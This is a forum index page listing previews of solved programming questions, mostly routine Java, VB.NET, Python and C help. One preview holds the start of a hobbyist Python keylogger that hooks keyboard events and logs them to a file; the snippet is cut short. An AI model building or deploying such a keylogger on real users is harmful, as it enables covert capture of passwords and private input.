43,549 Solved Topics

Remove Filter
Member Avatar for
Member Avatar for Duki

Is there a way in java to do something similar to this: [code=c++] class Rectangle { public: int x; string y; private: int a; string b; }[/code] Or do you always have to specify public/private for each property?

Software Development java
Member Avatar for harinath_2007
0
119
Member Avatar for Trle94

Hey guys i need to make app that sends mail... so i want in subject to make text like "Report - dd/mm/yyyy - hour:minutes" do you have any idea how should i make that? :/

Software Development vb.net
Member Avatar for NetJunkie
0
113
Member Avatar for Bobonoinc

I am new to Java and as an exercise I am trying to develop the following: 2 JPanels on a JFrame where 1 of the JPanels can be used for drawing. I started from an example from Daniweb from 2010 but can't seem to get a graphic context because the …

Software Development image java java-swing
Member Avatar for Bobonoinc
0
1K
Member Avatar for Tech B

Written in python2.6 I know there are a lot of key loggers out there, but i wanted to try my hand at it. It works like a charm =) [code] #Key Logger #By: K.B. Carte #Version 1.0 ################ import pythoncom, pyHook, sys, logging LOG_FILENAME = 'path\to\log.out' def OnKeyboardEvent(event): logging.basicConfig(filename=LOG_FILENAME, level=logging.DEBUG, …

Software Development python
Member Avatar for Tech B
0
4K
Member Avatar for Oneryavuz

i searched a bit but i cant find something useful. i need to take my files to filestream (i can do this with file paths) and i wanna save this files to somewhere else on my program. Is it possible that with the using FileStream? THX for Replys ^^

Software Development vb.net
Member Avatar for Oneryavuz
0
124
Member Avatar for JDoggieIII

I am attempting to use a WebBrowser control in C# to display a webpage. I would like my C# application to know when a Javascript function is called within the loaded webpage. Is there anyway to do this? I can't seem to find an event handler for it.

Software Development c# java javascript web-browser
Member Avatar for JDoggieIII
0
389
Member Avatar for Ich bin würdig

Can someone help me to create a syntax for a christmas tree... (the christmas tree must be like the shape of a true to life one) thanks.

Software Development c
Member Avatar for Adak
0
231
Member Avatar for Skrell

Can someone please explain these results to me and why they are different: >>> 7339520/(1024.0*1024) 6.99951171875 >>> print "%0.3f" % (7339520/(1024.0*1024)) 7.000 >>>

Software Development python
Member Avatar for Gribouillis
0
103
Member Avatar for dwinn

Hello, I have created a site in VB.Net and ASP.Net where a user types in a centre code and clicks on 2 buttons to retreive 2 GridView's of records from an SQL Server backend database. The records appear sucessfully, but when I go to sort the records in ascending/descending order, …

Software Development vb.net
Member Avatar for rciprogrammer
0
123
Member Avatar for Reverend Jim

I was doing a little playing around with some scrollbar controls and I noticed an odd behaviour that I was hoping someone could explain. I create three horizontal scrollbar controls, one for each primary colour. Possible values for each R, G or B are 0 to 255. When I set …

Software Development vb.net
Member Avatar for Reverend Jim
1
214
Member Avatar for JoshuaBurleson

I've been working on getting tkinter to open a window for all dictionary items with keys matching a query. Below is a [B]VERY RAW[/B] piece of code to show what I'm talking about. show() makes the toplevel windows. Also, not that it has so much going on because I isolate …

Software Development gui python tkinter
Member Avatar for TrustyTony
0
191
Member Avatar for XEN0

I want to stick this [CODE] Dim cmd As OleDbCommand = New OleDbCommand("SELECT * FROM 0 WHERE Id = 1", con) Dim reader As OleDbDataReader = cmd.ExecuteReader() If Not reader.HasRows Then MsgBox("Data does not exist") Else MsgBox("Data Exists") End If [/CODE] and this [CODE] If Inc <> -1 Then Dim …

Software Development programming-construct vb.net
Member Avatar for codeorder
0
227
Member Avatar for kungfujam

Completely stumped as to why my code will no longer run. It definitely works as I can call it from another Sub but will not run on its own. When I am in the code editing window (in Excel) and I click the run button or f5 it asks me …

Software Development visual-basic
Member Avatar for kungfujam
0
111
Member Avatar for Bamboozled

I am reading in a text file and displaying the data read in in textboxes. Some of the characters are accented French characters which are not displaying correctly in the form. This prob does not exist with VB6 on the same machine. What do I need to set/change in vb.net …

Software Development vb.net
Member Avatar for lolafuertes
0
710
Member Avatar for tfj

I failed to ask my entire question on part 1. Although codeorder gave me the answer I needed I have one more part which I will put in bold. I have 3 forms: Form1, Form2 and Form99. Form1 and Form2 both call Form99. What statement(s) does Form99 use to determine …

Software Development vb.net
Member Avatar for tfj
0
152
Member Avatar for Bladtman242

Right, I wasn't sure whether to put this here or in the java forum (since I'm trying this in java) but in the end I figured it is probably a general coding question. Hope I got it right :) So, about object names :) I'm trying to do the c++ …

Software Development java
Member Avatar for Bladtman242
0
194
Member Avatar for dwayned

Hi, I have created a small appication to run a number of self extracting archives depending on the option selected. I have the program working and all is going to plan. At the moment my program calls the slef extracting zip by pointing to the location on the hard drive …

Software Development hard-drive java
Member Avatar for dwayned
0
232
Member Avatar for bio-grad

Hi, So I am modifying some code from discussion thread: [URL="http://www.daniweb.com/software-development/perl/threads/323871"]http://www.daniweb.com/software-development/perl/threads/323871[/URL] I am still very much a newbie, but am trying to get a better handle on hashes - so if I've messed mine up please tell me ;). I am attaching 3 files. One is an image of the …

Software Development perl
Member Avatar for bio-grad
0
640
Member Avatar for binoman

I just try to calculate 5.3 - 5, and the answer is a bit off. this is the code: [CODE]double answer = 5.3 - 5; println("answer = " + answer);[/CODE] and the output is: "answer = 0.2999999999999998" instead of 0.3. I use Eclipse on win 7 32 bit as a …

Software Development java
Member Avatar for binoman
0
1K
Member Avatar for konradhoppe

Hi community, I have a problem with an application which makes use of a mysql database. I have a class which saves the fields of every record on the table. One of the columns is of type Datetime. Sometimes (!) I query this column and get results like with a …

Software Development java mysql
Member Avatar for ywang
0
345
Member Avatar for RenanLazarotto

Hello guys! I want a simple app to crop a bit of some images. The fact is that all the codes I've found were too complicated, and I didn't understood a single letter of it. Can somebody help me with it? The codes I saw where using and start point …

Software Development image vb.net
Member Avatar for RenanLazarotto
0
3K
Member Avatar for JoshuaBurleson

Is there a way to hide or at least automatically minimize the "shell-like" tkinter window, while running it?

Software Development python tkinter
Member Avatar for TrustyTony
0
356
Member Avatar for markdean.expres

I would like to create a textbox (search engine) that can search for items in a database that contains text as that keyed in the textbox. I am already aware of this code: bindingsource.filter = "table Like '" & textbox & "%'" EX: what I want is that when I …

Software Development apple vb.net
Member Avatar for markdean.expres
0
135
Member Avatar for hughesadam_87

Hey everyone, I'm checking some bessel functions in python using mathematica, and I can't find anything online about how to import values into python with exponentials. I know how to values with exponents. For example: [CODE]x=2032.43 * 10 **23[/CODE] However, when I read in a data file, say with one …

Software Development python
Member Avatar for JoshuaBurleson
0
143
Member Avatar for rajatchak

well, i have been working on two projects.... in of the projects i am getting two errors which i am unable to rectify ....please please could you possible identify the two errors for me...?? i shall be really really grateful.. you can try running the below program in Microsoft visual …

Software Development c++ ios operating-system
Member Avatar for cherrymae.calma
-1
314
Member Avatar for starkk

segmentation fault...:( some one help me pls.. [CODE]#include<stdio.h> #include<stdlib.h> #include<string.h> int main() { char a[50]; char *x[10]; int i,j,n; char *temp; printf("enter the no of strings:"); scanf("%d",&n); for(i=0;i<n;i++) { printf("enter the string:"); scanf("%s",a); x[i]=(char *)malloc((strlen(a)+1)*sizeof(char)); if(x[i]==NULL){ printf("malloc not done"); exit(1);} strcpy(x[i],a); } for(i=0;i<n-1;i++) { for(j=0;j<n-i;j++) { if(strcmp(x[j],x[j+1])>0) { strcpy(temp,x[j]); strcpy(x[j],x[j+1]); …

Software Development c
Member Avatar for starkk
0
454
Member Avatar for NetJunkie

So I am creating an application that allows users to send basic keystrokes to end certain processes. But I am running into some issues. I know the code I have will work the problem is I do not know where to put the following code to execute the commands: [code] …

Software Development vb.net
Member Avatar for codeorder
0
189
Member Avatar for JoshuaBurleson

I'm having a terrible time with regular expressions, possibly because I'm using a python2 reference, but maybe not. For example how would I find \s\w within a string and then change that character?

Software Development python regex
Member Avatar for JoshuaBurleson
0
308
Member Avatar for jigglymig

havn't programmed in c++ in well over a year and taking a new class at a different college. So I completly forgot how to work with linked lists. we are doing review so notes in book/slides don't include too munch information and is all in pseudo code. at the moment …

Software Development c++ linked-list
Member Avatar for jigglymig
0
108
Member Avatar for tfj

I have 3 forms: Form1, Form2 and Form99. Form1 and Form2 both call Form99. What statement(s) does Form99 use to determine which form called it (Form1 or Form2). Form1 Form99.Show Form2 Form99.Show Form99 Which form called me? Thank You.

Software Development vb.net
Member Avatar for tfj
0
141
Member Avatar for shivya jain

how we create a function/method in vb.net?? if i want to make a method of auto_generate_id, then how will i start? i have written this code please help me..... [CODE] void auto_generate_id() Dim j As Integer = 0 Dim cmd As New SqlCommand("select staffid from staff order by staffid", c.con) …

Software Development vb.net
Member Avatar for Unhnd_Exception
0
192
Member Avatar for bluehangook629

Ok this question is more like 'what is the term used for such as event?'. What I am trying to do with open a application config form in login window which is activated by combonation of keys pressed. for example alt+c or ctrl+alt+x. I tried using every term i can …

Software Development vb.net
Member Avatar for bluehangook629
0
428
Member Avatar for techlawsam

Ok so here is the problem... this is my code: [CODE]using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace DesignOutput { class Assignment { static void Main() { Console.WriteLine("CCCCCCCCCC"); Console.WriteLine("CC\t\t##\t##"); Console.WriteLine("CC\t\t##############"); Console.WriteLine("CC\t\t##\t##"); Console.WriteLine("CC\t\t##############"); Console.WriteLine("CC\t\t##\t##"); Console.WriteLine("CCCCCCCCCC"); Console.ReadKey(); } } } [/CODE] Im trying to match this: [CODE]CCCCCCCCCCC CC ## ## CC …

Software Development
Member Avatar for techlawsam
0
287
Member Avatar for DisasterPiece

I want it to be advanced like say if you pressed remember me on login then the next login it will log you in automatically.

Software Development vb.net
Member Avatar for bluehangook629
0
133
Member Avatar for DisasterPiece
Member Avatar for codeorder
0
226
Member Avatar for Vaikkundhnaair

I would like to develop a VB.Net based smart device app. A simple one. Do any of u know where i can refer to samples of such apps?

Software Development vb.net
Member Avatar for hericles
0
128
Member Avatar for DisasterPiece
Member Avatar for DisasterPiece
Member Avatar for BobTheLob

Hey, I have a potentially very stupid question. I'm working on a project where I need to input a few numbers. What I would like to do is run it via the command line like, "java test 2 3", where 2 and 3 would be the inputs. I want to …

Software Development java
Member Avatar for Ezzaral
0
122
Member Avatar for Skrell

I can't seem to find this answer anywhere. All i want to do is write a list of numbers to a file using the file.write() method however i wanted to format the numbers as if i had been using a print statement. When you print you can use %0.2f for …

Software Development file-system python
Member Avatar for markfw
0
230
Member Avatar for Mark198995

HEY im pretty lost i need to make a program where user has in enter a name and after it has been entered it has to repeat the name 100 times can someone please help me im fairly new and i cant get it to work =/. this is what …

Software Development c++
Member Avatar for Mark198995
0
153
Member Avatar for MasterOfNothing

We have a problem similar to [URL="http://forums.techguy.org/all-other-software/947576-solved-java-applets-only-working.html"]this[/URL] Clean boot doesn't help and the unchecking of services doesn't help ether. We have a Java applet that's working correctly on xp but isn't working correctly on win 7. The applet runs and the browser asks you to accept the certifiket but the …

Software Development file-stream ios java java-swing
Member Avatar for MasterOfNothing
0
331
Member Avatar for FutureDev86

Hi, I just completed a beginner's course to programming, in the Python language. I am now enrolled in a VB programming course, and I am more of a hands on type person, so I'd like to get a head start on things before the start of my class. I am …

Software Development vb.net
Member Avatar for kingsonprisonic
0
246
Member Avatar for vb.net_beginner

Hey Folks, Just starting out with vb.net and am struggling with an equation I have a fixed percentage 0.3% I need to multiply this by a number of months which varies 1 to 12 Having done this I need to add the percentage to a pre-determined number so as an …

Software Development vb.net
Member Avatar for vb.net_beginner
0
1K
Member Avatar for jrosh
Member Avatar for Ensanvoration

Here is what I have so far... [code]import java.util.Scanner; public class tst { public static void main (String [] args) { Scanner stdIn = new Scanner(System.in); String sentence = "This is the test."; char response; // user's y/n response int ctr = 65; do { System.out.print ("Would you like to …

Software Development java
Member Avatar for Ensanvoration
0
153
Member Avatar for Pravinrasal

i create small application in struts but it give me following error : SEVERE: Servlet.service() for servlet jsp threw exception java.lang.ClassNotFoundException: org.apache.commons.logging.LogFactory at org.apache.catalina.loader.WebappClassLoader.loadClass(WebappClassLoader.java:1645) at org.apache.catalina.loader.WebappClassLoader.loadClass(WebappClassLoader.java:1491) at org.apache.struts.util.MessageResources.<clinit>(MessageResources.java:57) at org.apache.struts.taglib.html.FormTag.<clinit>(FormTag.java:93) at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method) at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:39) at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:27) at java.lang.reflect.Constructor.newInstance(Constructor.java:513) at java.lang.Class.newInstance0(Class.java:355) at java.lang.Class.newInstance(Class.java:308) at org.apache.jasper.runtime.TagHandlerPool.get(TagHandlerPool.java:126) at org.apache.jsp.Index_jsp._jspx_meth_html_005fform_005f0(Index_jsp.java:109) at org.apache.jsp.Index_jsp._jspService(Index_jsp.java:87) at …

Software Development apache java java-jsp
0
117
Member Avatar for zachattack05

Doesn't appear that a radio button has a value property other than true/false so I was hoping someone could help me out with this one. I'm writing a method applied to the "CheckedChanged" event. The method is applied to all of the radio buttons, so it always triggers regardless of …

Software Development
Member Avatar for zachattack05
0
214
Member Avatar for Man1919

hi, i got a message board kit that connects to the computer (i talked about it here: [url]http://www.daniweb.com/software-development/vbnet/threads/379541[/url]) and now (i hope) its working. I want to make a code that when i press on a button its will send the correct hour & date and then its will update …

Software Development vb.net
Member Avatar for Man1919
0
198
Member Avatar for Man1919

hi, i bought a Programmable Message Board kit, this kit connects to the computer and i can send from the computer massages to the kit LCD screen. I got an sample file, that comes with that kit. My problem is that this sample file are an old Visual Basic 6 …

Software Development vb.net visual-basic
Member Avatar for Man1919
0
2K

The End.